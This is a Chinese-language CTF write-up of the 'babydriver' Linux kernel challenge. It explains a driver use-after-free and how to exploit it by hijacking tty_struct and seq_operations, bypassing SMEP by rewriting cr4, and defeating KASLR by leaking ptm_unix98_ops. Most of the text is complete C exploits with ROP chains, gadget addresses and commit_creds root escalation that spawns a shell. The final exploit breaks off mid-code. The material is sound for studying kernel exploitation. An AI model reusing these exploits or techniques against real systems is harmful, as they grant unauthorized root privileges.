UAF & ret2usr 参考链接:
其中前两博客对内核堆分配器讲的比较通俗易懂。
下面代码摘自上面第三位博主的代码,方便在调试时输出二进制数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 void print_binary (char * buf, int length) { int index = 0 ; char output_buffer[80 ]; memset (output_buffer, '\0' , 80 ); memset (output_buffer, ' ' , 0x10 ); for (int i=0 ; i<(length % 16 == 0 ? length / 16 : length / 16 + 1 ); i++){ char temp_buffer[0x10 ]; memset (temp_buffer, '\0' , 0x10 ); sprintf (temp_buffer, "%#5x" , index); strcpy (output_buffer, temp_buffer); output_buffer[5 ] = ' ' ; output_buffer[6 ] = '|' ; output_buffer[7 ] = ' ' ; for (int j=0 ; j<16 ; j++){ if (index+j >= length) sprintf (output_buffer+8 +3 *j, " " ); else { sprintf (output_buffer+8 +3 *j, "%02x " , ((int )buf[index+j]) & 0xFF ); if (!isprint (buf[index+j])) output_buffer[58 +j] = '.' ; else output_buffer[58 +j] = buf[index+j]; } } output_buffer[55 ] = ' ' ; output_buffer[56 ] = '|' ; output_buffer[57 ] = ' ' ; printf ("%s\n" , output_buffer); memset (output_buffer+58 , '\0' , 16 ); index += 16 ; } }
babydriver 知识点:UAF、ret2usr、tty_struct、smep_bypass
给了一个压缩包文件,解压后得到老三样。
文件系统解压,然后拿出驱动文件进行分析。
解压
1 2 3 4 mkdir corecd core mv ../core.cpio core.cpiocpio -idm < ./core.cpio
压缩
1 2 3 4 cd ./corefind . | cpio -o --format=newc > core.cpio mv core.cpio ../cd ../
一键编译打包脚本
1 2 3 4 5 6 7 #!/bin/bash gcc ./exploit.c -o exploit -g -static -masm=intel mv exploit ./corecd ./corefind . | cpio -o --format=newc > core.cpio mv core.cpio ../cd ../
检查保护 1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash qemu-system-x86_64 \ -initrd ./core.cpio \ -kernel bzImage \ -append "console=ttyS0 root=/dev/ram oops=panic panic=1" \ -enable-kvm \ -monitor /dev/null \ -m 256M \ --nographic \ -smp cores=1,threads=1 \ -cpu kvm64,+smep \ -no-reboot \ -s
解压后的启动脚本很乱,经调整形成上面代码, -cpu kvm64,+smep
开了 smep 保护,但没有开 smap,所以我们仍然可以在用户态布置 ROP 链,而且可以通过修改 cr4 寄存器,绕过 smep 保护,直接执行用户态代码(若程序开启了 KPTI 除外)。
还有一点注意的是,脚本这里没有限制我们读取 /proc/kallsyms
的符号地址,所以可以直接读该文件来获取地址信息。
程序保护
漏洞点
驱动文件在关掉后,没有将 babydev_struct.device_buf
置空,这里存在 UAF 漏洞。
静态分析 babydriver_init
在 init 函数中,会创建一个设备文件,即babydev,后面可以通过驱动中对应功能,实现通信。
babyioctl
在ioctl中就实现了一个功能,即通过 arg 控制 _kmalloc 申请的空间大小,其实从反编译出来的代码不太好看对应参数是由哪个寄存器控制,这里建议结合汇编食用。
babyopen
程序在打开时会默认分配 0x40 大小的chunk,其中 len 大小也会设置为 0x40,不过无妨,我们仍可以通过上面的 ioctl 函数进行重新分配。
babywrite
反编译出来的代码直接没参数了(6,太6了),看一下汇编其实就可以知道实际上就是把我们 buf 写入到 device_buf 中。
babyread
同 write 差不多。
利用过程 首先来学习一下这道题的 UAF 是如何利用的,前面提到过在 release 的时候 kfree 未将指针置空,我们来看看这样会造成什么结果。
UAF 大家应该对 open 这个系统调用不陌生,来回顾一下这个过程,当尝试打开一个文件时,内核并不会直接去文件系统中找这个文件,而是先去系统文件打开表中,查找该文件是否已经被打开,若已经打开,则直接返回指向对应打开文件表中表项的指针;若没有打开,则会去文件系统找到该文件的 inode 并将其加载到内存,在系统文件打开表中为其添加表项,然后返回对应指针给用户。
两次对同一个文件open后的效果大致如上图所示,由于其申请的 object 储存在全局变量中,这时如果我们在 close 第一个打开文件(fd1)时,会执行 release 后,但我们仍然可以通过 fd2 来实现控制已经被释放的堆块,弄懂这一点,其实这道题已经迎刃而解了。
tty_struct 为了通过 UAF 劫持程序执行流,可以选择 tty_struct 结构体进行漏洞利用。
参考资料( arttnba3 ):
1 2 3 4 5 在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations 那么我们不难想到的是我们可以通过 UAF 劫持 /dev/ptmx 这个设备的 tty_struct 结构体与其内部的 tty_operations 函数表,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针 由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与fake tty_operations结构体
这是一个非常有用的结构体,在 kernel pwn 中利用频率也是非常的高。
源码链接:https://elixir.bootlin.com/linux/v4.4.298/source/include/linux/tty.h#L259
截取其中一部分进行分析,上图中有两个需要关注的点,
一个是 magic 这里保存的是一个魔数,我们可以通过该数据来判断我们是否正确定位到 tty_struct 结构体。
另外一个就是我们这题中用到的比较重要的东西,就是 tty_operations
,顾名思义实际上它就是一个函数表,里面保存有各种函数的函数指针(有点类似于用户态的 _IO_file_jumps 结构体)。
那我们就可以联想到,如果能够劫持这些函数指针,就能够劫持程序执行流。
从上图可以看到,tty_operations 中定义了各种函数指针,这里有两种劫持方法,
第一种是直接劫持上面 tty_stuct 中 tty_operations 的指针,让其指向 fake_tty_operations(我们这道题目采用的方法)。
第二种是可以考虑劫持 tty_operations 中的指针,也能达到同样的效果。
1. tty_struct劫持 动态分析 说这么多不如直接上手,来结合动调来分析吧,也可以说下我对这道题动调的思路。
由于上次在学习 ret2usr 时,我是从exp写的顺序进行分析的,但感觉那样效果并不好,因为那并不是我们做题时的顺序,例如虽然我们总是提前布置好 ROP,但总是最后才调用,所以我打算从做题顺序来一步一步进行分析,更加贴近我们做题的过程。
step 1:save status & leak addr
想必一路过来,大家应该已经熟悉 save status 已是基操了,这里不做过多说明。
不同于强网杯 core 那道题目(下面第二张图),这道题 init 并没有限制我们读 /proc/kallsyms
,所以我们可以通过读这个文件来获取内核函数地址。
内容如下,除了前两个我们需要提权利用的函数外,在这道题目中,我们还可以稍微注意一下 alloc_tty_struct 函数,前面说过,在我们打开 ptmx 这个设备时内核中会创建一个 tty_struct 结构体,而创建该结构体的函数正是 alloc_tty_struct,所以我们后期调试可以将断点打到这个函数,来获取 tty_struct 结构体,从而用于我们分析调用链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 size_t commit_creds=0 ;size_t prepare_kernel_cred=0 ;void find_symbols () { FILE* kallsyms_fd = fopen("/proc/kallsyms" ,"r" ); if (kallsyms_fd < 0 ) errorMsg("fail to open /proc/kallsyms" ); char buf[0x30 ]; while (fgets(buf,0x30 ,kallsyms_fd)) { if (commit_creds && prepare_kernel_cred) return ; if (strstr (buf,"commit_creds" ) && !commit_creds ) { char addr_hex[0x20 ] = {0 }; strncpy (addr_hex,buf,0x10 ); sscanf (addr_hex,"%lx" ,&commit_creds); printAddr("commit_creds" ,commit_creds); } if (strstr (buf,"prepare_kernel_cred" ) && !prepare_kernel_cred ) { char addr_hex[0x20 ] = {0 }; strncpy (addr_hex,buf,0x10 ); sscanf (addr_hex,"%lx" ,&prepare_kernel_cred); printAddr("prepare_kernel_cred" ,prepare_kernel_cred); } } errorMsg("fail to find symbols" ); }
step 2:UAF
这里结合源代码在结合动调分析起来比较好一点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 char buf[0x40 ]={0 };size_t fake_tty_array[0x20 ];int fd1 = open("/dev/babydev" ,2 ); int fd2 = open("/dev/babydev" ,2 );if (fd1 < 0 || fd2 < 0 ){ errorMsg("fail to open babydriver" ); } ioctl(fd1,0x10001 ,0x2e0 ); close(fd1); int fd3 = open("/dev/ptmx" ,2 ); if (fd3 < 0 ){ errorMsg("fail to open ptmx" ); }
我在做这道题时,发现这道题并不好调试,原因是最后触发调用链时,并不在我们的驱动文件中(babydriver.ko),而是在前面提到的 对 ptmx 文件进行 write 操作时进行触发,所以这里我们剑走偏锋从 alloc_tty_struct 这个函数开始跟进(后面介绍)。
step2指的是我们的做题顺序(doge),找到驱动基址,然后添加符号下断点,同时这里我们也给 alloc_tty_struct 函数也下个断点。
1 2 3 4 / $ cat /sys/module/babydriver/sections/.text 0xffffffffc0000000 / $ cat /proc/kallsyms | grep "alloc_tty_struct" ffffffff814d9df0 T alloc_tty_struct
调试启动环节如下:
babyrelease 函数内容如下:
由于没有符号,上图中正在执行的指令就是我们的 kfree 函数,可以记住释放的 object 地址, 后面我们在打开 ptxm 文件时又会将它分配回来。
alloc_tty_struct 函数内容如下:
源码链接:https://elixir.bootlin.com/linux/v4.4.298/source/drivers/tty/tty_io.c#L3173
可以看到在 kzalloc 之后,返回了我们刚刚释放的空间,至此我们 UAF 的目的已经达到。
step3:tty_struct 利用
1 2 3 read(fd2,fake_tty_array,0x100 ); fake_tty_array[3 ] = fake_op; write(fd2,fake_tty_array,0x100 );
fake_tty_array[3]
即是 tty_operations 的位置,这里我们修改为 fake_op 即可,动调如下:
这一部分紧接上面 UAF 利用之后,同时在这里介绍一种调试方法,就是通过监视指定内存空间来下断点,也就是watch,不过这里使用 awatch。
1 awatch *0xffff88000d505818
当发生读或者写的时候,都能被awatch监测到,由于我们这里是要劫持 tty_operations 指针,所以监测这一块空间就好。
在c一次之后,可以发现这块空间已经被初始化了,但还没有 tty_operations 指针,还没有被劫持,在 c 记下,看看是否被劫持。
在 c 到第四次的时候,可以发现这里已经被成功劫持为了用户空间栈上的一块地址,而这里已经保存好了我们提前布置好的 fake_op payload(在后面介绍)。
接下来就是如何触发劫持执行流的问题了,触发代码如下:
对应我们之前给的 tty_operations 结构体中 write 的偏移应该是在 0x38 的位置上,所以这里我们通过 awatch 在这块地址下一个断点,来观察执行流。
笔者这里 c 了三下,已经执行到跳转函数指针这里,对应0x38即为我们 write 的位置,殊不知这里已经填充好了我们的 payload。
注意一下这里 rax 寄存器是我们栈上的一个地址,我们可考虑使用 mov rsp,rax
之类的gadget完成栈迁移。
step 4:ROP
上面已经通过 tty_struct 成功劫持程序执行流了,下面我们就只需要构造好对应的 ROP 链就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int i = 0 ;size_t ROP[0x20 ];ROP[i++] = pop_rdi_ret; ROP[i++] = 0x6f0 ; ROP[i++] = mov_cr4_rdi_pop_rbp_ret; ROP[i++] = 0 ; ROP[i++] = getRootPrivilege; ROP[i++] = swapgs_pop_rbp_ret; ROP[i++] = 0 ; ROP[i++] = iretq_ret; ROP[i++] = spawn_shell; ROP[i++] = user_cs; ROP[i++] = user_rflags; ROP[i++] = user_sp; ROP[i++] = user_ss; printAddr("ROP" ,ROP); size_t fake_op[0x10 ];for ( i = 0 ; i < 0x10 ; i++){ fake_op[i] = mov_rsp_rax_dec_ebx_ret; } fake_op[0 ] = pop_rax_ret; fake_op[1 ] = ROP;
这一步完成第一次栈迁移。
栈迁移后,如上图所示,rsp 指向了 fake_op[0] 的位置,这里我们在进行一次栈迁移,迁移到 rop 头的位置,这也是为什么我们在 exp 中设置 fake_op[1] = ROP;
的原因。
从上图可以看到,栈迁移成功,可以正常走 ROP 链了。
可以看到,上图应该是最后着陆到用户态了,但不知道什么原因最后总会报这个错误,网上其他博客貌似也,出现了这个问题(已解决),这里我使用 ubuntu 22 的gcc进行编译发现最后会打不通,但是ubuntu 20 的gcc可以,可能是编译优化的原因。
1 2 3 4 __asm__( "push rdi;" ); system("/bin/sh" );
push一个寄存器,栈平衡即可。
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void errorMsg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void outputMsg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void printAddr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,value); } size_t user_cs,user_ss,user_sp,user_rflags;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void spawn_shell () { outputMsg("back from kernelspace" ); if (!getuid()) { outputMsg("SUCCESSFUL GET ROOT by henry!" ); __asm__( "push rdi;" ); system("/bin/sh" ); } else { errorMsg("FAIL TO GET ROOT" ); } } size_t commit_creds=0 ;size_t prepare_kernel_cred=0 ;void find_symbols () { FILE* kallsyms_fd = fopen("/proc/kallsyms" ,"r" ); if (kallsyms_fd < 0 ) errorMsg("fail to open /proc/kallsyms" ); char buf[0x30 ]; while (fgets(buf,0x30 ,kallsyms_fd)) { if (commit_creds && prepare_kernel_cred) return ; if (strstr (buf,"commit_creds" ) && !commit_creds ) { char addr_hex[0x20 ] = {0 }; strncpy (addr_hex,buf,0x10 ); sscanf (addr_hex,"%lx" ,&commit_creds); printAddr("commit_creds" ,commit_creds); } if (strstr (buf,"prepare_kernel_cred" ) && !prepare_kernel_cred ) { char addr_hex[0x20 ] = {0 }; strncpy (addr_hex,buf,0x10 ); sscanf (addr_hex,"%lx" ,&prepare_kernel_cred); printAddr("prepare_kernel_cred" ,prepare_kernel_cred); } } errorMsg("fail to find symbols" ); } void getRootPrivilege () { int (*commit_creds_func)(void *) = commit_creds; void * (*prepare_kernel_cred_func)(void *) = prepare_kernel_cred; (*commit_creds_func)((*prepare_kernel_cred_func)(NULL )); } size_t iretq_ret = 0xffffffff814e35ef ;size_t pop_rax_ret = 0xffffffff8100ce6e ;size_t pop_rdi_ret = 0xffffffff810d238d ;size_t swapgs_pop_rbp_ret = 0xffffffff81063694 ;size_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81004d80 ;size_t mov_rsp_rax_dec_ebx_ret = 0xffffffff8181bfc5 ;void main () { save_status(); find_symbols(); int i = 0 ; size_t ROP[0x20 ]; ROP[i++] = pop_rdi_ret; ROP[i++] = 0x6f0 ; ROP[i++] = mov_cr4_rdi_pop_rbp_ret; ROP[i++] = 0 ; ROP[i++] = getRootPrivilege; ROP[i++] = swapgs_pop_rbp_ret; ROP[i++] = 0 ; ROP[i++] = iretq_ret; ROP[i++] = spawn_shell; ROP[i++] = user_cs; ROP[i++] = user_rflags; ROP[i++] = user_sp; ROP[i++] = user_ss; printAddr("ROP" ,ROP); size_t fake_op[0x10 ]; for ( i = 0 ; i < 0x10 ; i++) { fake_op[i] = mov_rsp_rax_dec_ebx_ret; } fake_op[0 ] = pop_rax_ret; fake_op[1 ] = ROP; printAddr("fake_op" ,fake_op); char buf[0x40 ]={0 }; size_t fake_tty_array[0x20 ]; int fd1 = open("/dev/babydev" ,2 ); int fd2 = open("/dev/babydev" ,2 ); if (fd1 < 0 || fd2 < 0 ) { errorMsg("fail to open babydriver" ); } ioctl(fd1,0x10001 ,0x2e0 ); close(fd1); int fd3 = open("/dev/ptmx" ,2 ); if (fd3 < 0 ) { errorMsg("fail to open ptmx" ); } read(fd2,fake_tty_array,0x100 ); fake_tty_array[3 ] = fake_op; write(fd2,fake_tty_array,0x100 ); write(fd3,buf,0x8 ); }
2. 设置kptr_restrict,开启KASLR 这里对原题目加大难度,设置 kptr_restrict 使得我们不可以通过 cat /proc/kallsyms
来获取符号地址,同时开启 KASLR 来增加地址随机化。
1 2 3 echo 2 > /proc/sys/kernel/kptr_restrict
通过前面的分析可以知道,我们通过 UAF 得到了一个 tty_struct 并且可以对其进行访问,可以直接通过 tty_struct 中的 tty_operations 泄露地址。
以下内容引自 arttnba3 师傅,参考链接:https://www.anquanke.com/post/id/259252#h3-9
在相当的一部分 kernel pwn 题目甚至是真实世界的 cve 的 poc 中,对 tty 设备进行利用向来都是最热门的手法之一,tty 设备对于我们内核攻击者而言是一个十分万能的工具箱——不仅能帮助我们控制内核执行流,还能够帮助我们泄露内核中的相关地址。
在 ptmx 被打开时内核通过 alloc_tty_struct() 分配 tty_struct 的内存空间,之后会将 tty_operations 初始化为全局变量 ptm_unix98_ops 或者 pty_unix98_ops, 因此可以通过 tty_operations 来泄露内核地址。
在调试阶段可以先关掉 kaslr 开 root 从 /proc/kallsyms
中读取其偏移
开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度,故我们可以通过比对 tty_operations 地址的低三16进制位来判断是 ptm_unix98_ops 还是 pty_unix98_ops
下面的地址即为读取到的位置
1 2 3 4 ffffffff81a74f80 r ptm_unix98_ops ffffffff81a74e60 r pty_unix98_ops ffffffff810a1420 T commit_creds ffffffff810a1810 T prepare_kernel_cred
所以我们只需要对源代码中稍加修改就能拿到 root,核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if ((fake_tty_array[3 ] & 0xFFF ) == (ptm_unix98_ops & 0xFFF )) { kernel_offset = fake_tty_array[3 ] - ptm_unix98_ops; printAddr("ptm_unix98_ops" ,fake_tty_array[3 ]); } else { kernel_offset = fake_tty_array[3 ] - pty_unix98_ops; printAddr("pty_unix98_ops" ,fake_tty_array[3 ]); } printAddr("kernel_offset" ,kernel_offset); commit_creds += kernel_offset; prepare_kernel_cred += kernel_offset; printAddr("commit_creds" ,commit_creds); printAddr("prepare_kernel_cred" ,prepare_kernel_cred);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void errorMsg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void outputMsg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void printAddr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,value); } void print_binary (char * buf, int length) { int index = 0 ; char output_buffer[80 ]; memset (output_buffer, '\0' , 80 ); memset (output_buffer, ' ' , 0x10 ); for (int i=0 ; i<(length % 16 == 0 ? length / 16 : length / 16 + 1 ); i++){ char temp_buffer[0x10 ]; memset (temp_buffer, '\0' , 0x10 ); sprintf (temp_buffer, "%#5x" , index); strcpy (output_buffer, temp_buffer); output_buffer[5 ] = ' ' ; output_buffer[6 ] = '|' ; output_buffer[7 ] = ' ' ; for (int j=0 ; j<16 ; j++){ if (index+j >= length) sprintf (output_buffer+8 +3 *j, " " ); else { sprintf (output_buffer+8 +3 *j, "%02x " , ((int )buf[index+j]) & 0xFF ); if (!isprint (buf[index+j])) output_buffer[58 +j] = '.' ; else output_buffer[58 +j] = buf[index+j]; } } output_buffer[55 ] = ' ' ; output_buffer[56 ] = '|' ; output_buffer[57 ] = ' ' ; printf ("%s\n" , output_buffer); memset (output_buffer+58 , '\0' , 16 ); index += 16 ; } } size_t user_cs,user_ss,user_sp,user_rflags;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void spawn_shell () { outputMsg("back from kernelspace" ); if (!getuid()) { outputMsg("SUCCESSFUL GET ROOT by henry!" ); __asm__( "push rdi;" ); system("/bin/sh" ); } else { errorMsg("FAIL TO GET ROOT" ); } } size_t commit_creds=0xffffffff810a1420 ;size_t prepare_kernel_cred=0xffffffff810a1810 ;void getRootPrivilege () { int (*commit_creds_func)(void *) = commit_creds; void * (*prepare_kernel_cred_func)(void *) = prepare_kernel_cred; (*commit_creds_func)((*prepare_kernel_cred_func)(NULL )); } size_t kernel_offset;size_t iretq_ret = 0xffffffff814e35ef ;size_t pop_rax_ret = 0xffffffff8100ce6e ;size_t pop_rdi_ret = 0xffffffff810d238d ;size_t swapgs_pop_rbp_ret = 0xffffffff81063694 ;size_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81004d80 ;size_t mov_rsp_rax_dec_ebx_ret = 0xffffffff8181bfc5 ;size_t ptm_unix98_ops = 0xffffffff81a74f80 ;size_t pty_unix98_ops = 0xffffffff81a74e60 ;void main () { save_status(); char buf[0x40 ]={0 }; size_t fake_tty_array[0x20 ]; int fd1 = open("/dev/babydev" ,2 ); int fd2 = open("/dev/babydev" ,2 ); if (fd1 < 0 || fd2 < 0 ) { errorMsg("fail to open babydriver" ); } ioctl(fd1,0x10001 ,0x2e0 ); close(fd1); int fd3 = open("/dev/ptmx" ,2 ); if (fd3 < 0 ) { errorMsg("fail to open ptmx" ); } read(fd2,fake_tty_array,0x100 ); print_binary(fake_tty_array,0x100 ); if ((fake_tty_array[3 ] & 0xFFF ) == (ptm_unix98_ops & 0xFFF )) { kernel_offset = fake_tty_array[3 ] - ptm_unix98_ops; printAddr("ptm_unix98_ops" ,fake_tty_array[3 ]); } else { kernel_offset = fake_tty_array[3 ] - pty_unix98_ops; printAddr("pty_unix98_ops" ,fake_tty_array[3 ]); } printAddr("kernel_offset" ,kernel_offset); commit_creds += kernel_offset; prepare_kernel_cred += kernel_offset; printAddr("commit_creds" ,commit_creds); printAddr("prepare_kernel_cred" ,prepare_kernel_cred); int i = 0 ; size_t ROP[0x20 ]; ROP[i++] = pop_rdi_ret + kernel_offset; ROP[i++] = 0x6f0 ; ROP[i++] = mov_cr4_rdi_pop_rbp_ret + kernel_offset; ROP[i++] = 0 ; ROP[i++] = getRootPrivilege; ROP[i++] = swapgs_pop_rbp_ret + kernel_offset; ROP[i++] = 0 ; ROP[i++] = iretq_ret + kernel_offset; ROP[i++] = spawn_shell; ROP[i++] = user_cs; ROP[i++] = user_rflags; ROP[i++] = user_sp; ROP[i++] = user_ss; printAddr("ROP" ,ROP); size_t fake_op[0x10 ]; for ( i = 0 ; i < 0x10 ; i++) { fake_op[i] = mov_rsp_rax_dec_ebx_ret + kernel_offset; } fake_op[0 ] = pop_rax_ret + kernel_offset; fake_op[1 ] = ROP; printAddr("fake_op" ,fake_op); fake_tty_array[3 ] = fake_op; write(fd2,fake_tty_array,0x100 ); write(fd3,buf,0x8 ); }
3. seq_operations 劫持 该方法和劫持 tty_struct 方法非常类似,都是通过劫持结构体,可以达到泄露内核地址,还有劫持内核执行流的作用。
在 打开 一个 stat 文件时(如 /proc/self/stat
)便会在内核空间中分配一个 seq_operations 结构体,该结构体定义于 /include/linux/seq_file.h
当中,只定义了四个函数指针,如下:
参考链接:https://elixir.bootlin.com/linux/v4.19.300/source/include/linux/seq_file.h#L32
1 2 3 4 5 6 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
当 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter
指针,其默认值为 seq_read()
函数,定义于 fs/seq_file.c
中:
参考链接:https://elixir.bootlin.com/linux/v4.4.298/source/fs/seq_file.c
1 2 3 4 5 6 7 ssize_t seq_read (struct file *file, char __user *buf, size_t size, loff_t *ppos) { struct seq_file *m = file->private_data; size_t copied = 0 ; ... p = m->op->start(m, &pos); ...
即其会调用 seq_operations 中的 start 函数指针,那么我们只需要控制 seq_operations->start 后再读取对应 stat 文件便能控制内核执行流
step 1:泄露内核基址
在 seq_operations 被初始化时其函数指针皆被初始化为内核中特定的函数,利用 read 读出这些值后便能获得内核偏移
1 2 3 4 5 6 7 8 fd3 = open("/proc/self/stat" ,O_RDONLY); if (fd3 < 0 ){ errorMsg("fail to open /proc/self/stat" ); } read(fd2,fake_seq_array,0x18 ); print_binary(fake_seq_array,0x18 );
step 2:seq_operations 结合 pt_regs 劫持执行流
在 kernel ROP 中,我们已经介绍过 pt_regs 的用法,我们可以将 seq_start 劫持为任意一个 gadget 然后打断点观察栈情况,来结合 add rsp, 0x
这种gadget,使 rsp 移到 pt_regs 结构体上,使得我们可以利用 pt_regs 来完成利用。
**pt_regs 栈迁移所用到的 gadget **
1 2 3 4 5 #------------------------------------------------- 0xffffffff81318dcf: add rsp, 0x78; pop rbx; pop r12; pop r13; pop rbp; ret; 0xffffffff81090745: add rsp, 0xa0; pop rbx; pop r12; pop rbp; ret; #------------------------------------------------- 0xffffffff81171045: pop rsp; ret;
如下图所示,我们劫持到 `add_rsp_0x78_pop_rbx_pop_r12_pop_r13_pop_rbp_ret` 这里,由于当前栈顶离我们的 pt_regs 结构体较远,所以我这里连续跳了两次,最后可以稳定进行栈迁移到 ROP 链上。
最后也是成功提权。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void errorMsg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void outputMsg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void printAddr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,value); } void print_binary (char * buf, int length) { int index = 0 ; char output_buffer[80 ]; memset (output_buffer, '\0' , 80 ); memset (output_buffer, ' ' , 0x10 ); for (int i=0 ; i<(length % 16 == 0 ? length / 16 : length / 16 + 1 ); i++){ char temp_buffer[0x10 ]; memset (temp_buffer, '\0' , 0x10 ); sprintf (temp_buffer, "%#5x" , index); strcpy (output_buffer, temp_buffer); output_buffer[5 ] = ' ' ; output_buffer[6 ] = '|' ; output_buffer[7 ] = ' ' ; for (int j=0 ; j<16 ; j++){ if (index+j >= length) sprintf (output_buffer+8 +3 *j, " " ); else { sprintf (output_buffer+8 +3 *j, "%02x " , ((int )buf[index+j]) & 0xFF ); if (!isprint (buf[index+j])) output_buffer[58 +j] = '.' ; else output_buffer[58 +j] = buf[index+j]; } } output_buffer[55 ] = ' ' ; output_buffer[56 ] = '|' ; output_buffer[57 ] = ' ' ; printf ("%s\n" , output_buffer); memset (output_buffer+58 , '\0' , 16 ); index += 16 ; } } size_t user_cs,user_ss,user_sp,user_rflags;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void spawn_shell () { outputMsg("back from kernelspace" ); if (!getuid()) { outputMsg("SUCCESSFUL GET ROOT by henry!" ); __asm__( "push rdi;" ); system("/bin/sh" ); } errorMsg("FAIL TO GET ROOT" ); } size_t commit_creds=0xffffffff810a1420 ;size_t prepare_kernel_cred=0xffffffff810a1810 ;void getRootPrivilege () { int (*commit_creds_func)(void *) = commit_creds; void * (*prepare_kernel_cred_func)(void *) = prepare_kernel_cred; (*commit_creds_func)((*prepare_kernel_cred_func)(NULL )); } int fd3;char buf[0x40 ]={0 };size_t ROP[0x20 ];size_t ROP_addr = ROP;size_t kernel_offset;size_t iretq_ret = 0xffffffff814e35ef ;size_t pop_rax_ret = 0xffffffff8100ce6e ;size_t pop_rsp_ret = 0xffffffff81171045 ;size_t pop_rdi_ret = 0xffffffff810d238d ;size_t single_start = 0xffffffff8122f4d0 ;size_t swapgs_pop_rbp_ret = 0xffffffff81063694 ;size_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81004d80 ;size_t mov_rsp_rax_dec_ebx_ret = 0xffffffff8181bfc5 ;size_t ptm_unix98_ops = 0xffffffff81a74f80 ;size_t pty_unix98_ops = 0xffffffff81a74e60 ;size_t add_rsp_0x78_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff81318dcf ;size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_rbp_ret = 0xffffffff81090745 ;void main () { save_status(); size_t fake_seq_array[0x10 ]; int fd1 = open("/dev/babydev" ,2 ); int fd2 = open("/dev/babydev" ,2 ); if (fd1 < 0 || fd2 < 0 ) { 